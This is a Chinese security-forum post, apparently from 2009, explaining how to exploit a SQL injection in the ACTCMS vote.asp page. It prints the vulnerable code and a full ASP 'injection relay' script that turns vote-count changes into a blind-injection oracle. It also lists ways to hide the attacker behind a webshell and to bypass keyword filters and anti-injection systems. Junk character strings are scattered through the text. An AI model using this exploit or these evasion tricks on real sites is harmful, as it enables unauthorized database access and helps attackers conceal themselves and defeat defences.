注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 Q2 \" t0 R% j; S关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
/plus/vote/vote.asp
7 V6 ?$ T; ^' M3 Y代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
2 S5 ]* z/ ~6 X2 M1 E( f
" S$ @- A2 B  z9 y( O0 s9 r3    response.end   
# h2 [& ]  F* }8 R) U$ U+ ^; r
4    end if   
- Y* }- a- n7 B5 c; u) I6 R
' b& R& W- ^5 C: ]& _7 w4 T5    for i=1 to request("voted").count   
# ~: k4 p6 }( _( j& |, X: @; I$ Y6 T
* Q, h, ?  [( V6 j- a6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   
4 J, N( [% u3 O; j
8....   
8 p) e* o# Y, O
9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
( d  L9 `* t5 d% F* e+ r' }如果投票成功票数加1
1 }* b  |% K8 v( [3 A) V            失败票数不变
4 R; o) r+ J* m如图：
' M& ~8 l8 `8 z2 f% @3 E$ Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" F! @  O9 P* R$ x& g
+ B  a8 i# g! f$ ?2 H& M2009-12-27 13:20

. i0 S# @+ ]+ U1 y利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
2 T) b: t) _' m9 P4 @' t( _
* C  X+ P& h0 M本帖隐藏的内容需要回复才可以浏览
! ~9 T8 P' {% D7 [7 c: Z我们用注入中转来实现这个注入具体代码如下：
+ M! b! S% \: m+ V" S# a" v先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

  j  }& B( ^' Z( H2 r8 @- m然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
( H# Z0 i& o+ ]: M1 d0 v2 W
3 i. r, b0 P" D02JmdcwName=request("jmdcw")
$ O9 X3 N% K5 u$ J9 k
* T" y8 O/ ?7 ~/ w* w- M8 L03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

" `& p/ Q& n& l04JmStr="id=1&voted=-1 or 1="&JmdcwName
3 \5 k1 S# w, C7 V) X+ B
05JmStr=URLEncoding(JmStr)
  S! S$ E" |6 h! x3 @6 [  _) i: d
) [, C# f  u. ^2 V" v( f0 d06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

" \/ E1 k& b$ [$ Y4 j1 N07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
  j* J, |% E$ P5 B
3 U9 e1 ]+ C5 m$ V" h' O5 U2 F08testurl=testurl & "?" & JmStr

! C+ a' W1 x. T1 K/ }09JMUrl=JMUrl & "?" & JmStr
6 p' K) E' J2 E3 O; T5 S: i' X
) r+ g5 }. j& f10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) d6 [! i) z& |) p+ r4 B
( `/ C) D' _" [11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
* V! k% J- {; W. E" M* Z+ N4 L$ I
12JmCok=replace(JmCok,chr(32),"%20")  
6 G5 L& C, c- ~! C
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  
/ }* b" w" t0 q  M
9 B! p. a+ |9 M1 s# l$ f" g15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
$ r+ z, ^2 t# w2 a" ~
16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""

19  
+ s3 b  c9 Z' y. I, p
0 X+ s3 r, o) V9 B8 ], j20if test1=test2 then '如前后记录相等，表示失败
" q$ z& `% C& N! ?" D! i" Y1 R
0 M0 F: p6 x( w6 o+ q1 J21  response.write "failed"

22else
+ i  N, \; [3 I
23  response.write "succeed"

24end if  

1 J2 T+ T; B* i% ~# q25  

26response.write "by 3x"
/ n6 v& I  g' z
27  

! X: N0 |; P, w% s* D1 |6 [0 w28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
. i- G7 i. P1 `' ~
30Dim Http

6 Z( H" b8 ~0 t: Y31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. ?) t) k- s; ]0 }* X
) w; a9 I) i" W. s9 N( x9 c32With Http
( g) v3 u3 J, D+ i% W% x( I* X& P9 I
33  

34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

- @: C6 S  T) u9 s1 ]& [/ ^36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok
! M! g; r3 [6 p$ Q) m: H7 [) M8 L
38.Send ()

& {# Z/ ~% g* A# L39PostData = .ResponseBody

% j& x$ {) Z( r40End With
' T. Y$ H- ~1 R( H+ b
2 t( h& x4 T% n0 g3 Q# g41Set Http = Nothing
5 G6 H( @0 L: E9 ~* v1 q
42PostData =bytes2BSTR(PostData)

' D2 w4 G& z+ Y  V8 Y) c43End Function

44  
9 u2 q( ?0 O: R( t
45  

! S1 x% Z* U1 |46Function bytes2BSTR(vIn)

% D  m& J7 O* K1 N47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

  w6 c6 R( F6 |+ R49strReturn = ""
5 d* D& S6 m- j3 u% B
50For I = 1 To LenB(vIn)
9 m1 k7 d: r& D7 J; e
  S2 \1 O+ j# ?3 S( F! c51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

8 z9 t8 K9 M( q; k, p, F. f54Else

  ~0 o% I" H: G3 `" @55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' Y$ r3 h" N" A6 @
1 b7 z! e& }; L+ U; P0 P) ?56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
; T$ O0 H  p1 j* j6 k
9 r) r; w8 |$ m; g57I = I + 1
! b4 i0 g& }5 C8 u: \$ J
4 v* @% K7 T( o3 J, k7 [58End If

/ V4 @4 A& n% |+ g  E59Next
( {$ X2 Z7 C. J$ c# S$ l$ K
1 H6 p1 i# P+ G0 {( X7 O60bytes2BSTR = strReturn

! A! I' U4 C3 H  ~/ x61End Function
) o4 g' |& Y; j, M
62  
# N) i/ @3 {+ @5 M" @8 ~  e# m
63Function URLEncoding(vstrin)  

64strReturn=""
" [5 `8 n- g4 ^5 a- Y
65Dim i

% X! R' `  [* E; F. J4 W0 w66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

70Else

71InnerCode=Asc(ThisChr)

4 F2 @, m0 ?' H/ L$ A: j72If InnerCode<0 Then

0 Z0 V; t% D! B73InnerCode=InnerCode + &H10000
. W! C  T3 X# U. y
% B8 P4 h7 X) j, G* y- r74End If

. K4 S; d. l" p1 f75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

. R  k5 Y9 A5 x; \78End if
2 ]7 Q& I6 i' l  o4 f
$ f3 o8 r' i( o+ K( u3 m( C79Next

. [1 Z/ h% l  l( O$ J: W) W80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
. x0 }  V1 r( f
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

. s3 Y) g- h  }) R: x; J7 T82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

# ~- N0 E* \3 h* {$ i5 _84End Function

85  

86function getSt(body)

8 ~$ j) R! u% k1 C* i3 a+ {87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
2 Z& A7 u6 x6 y6 B9 Q
6 P* H0 x5 j, L* Q% n2 m) F89  getSt=mid(body,startpot,endpot-startpot)

  I3 O* e/ E2 c! T3 q90end function

( |/ K7 h) B5 F* q$ b& q91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
* ^% L: `* w  i" _# B# x% |http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
5 ?+ Y/ @4 l2 M0 ?1 M0 n6 n
' V; \- D% u) c2009-12-27 13:29
投票失败
1 Q7 Y: K, B) q7 chttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

  n) J8 [$ m. L' U7 g" R2009-12-27 13:29
-------------------------------------------------------------------------------
: `; f3 f. H; J/ W' o1 e4 k' X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
$ x. B/ d4 x8 Q/ Z) Q: x所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

注入中转的一些其他应用
( i- Z  i; s# c, b# C其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

7 R2 J: l9 ?) r& ~- i$ {# |7 R% h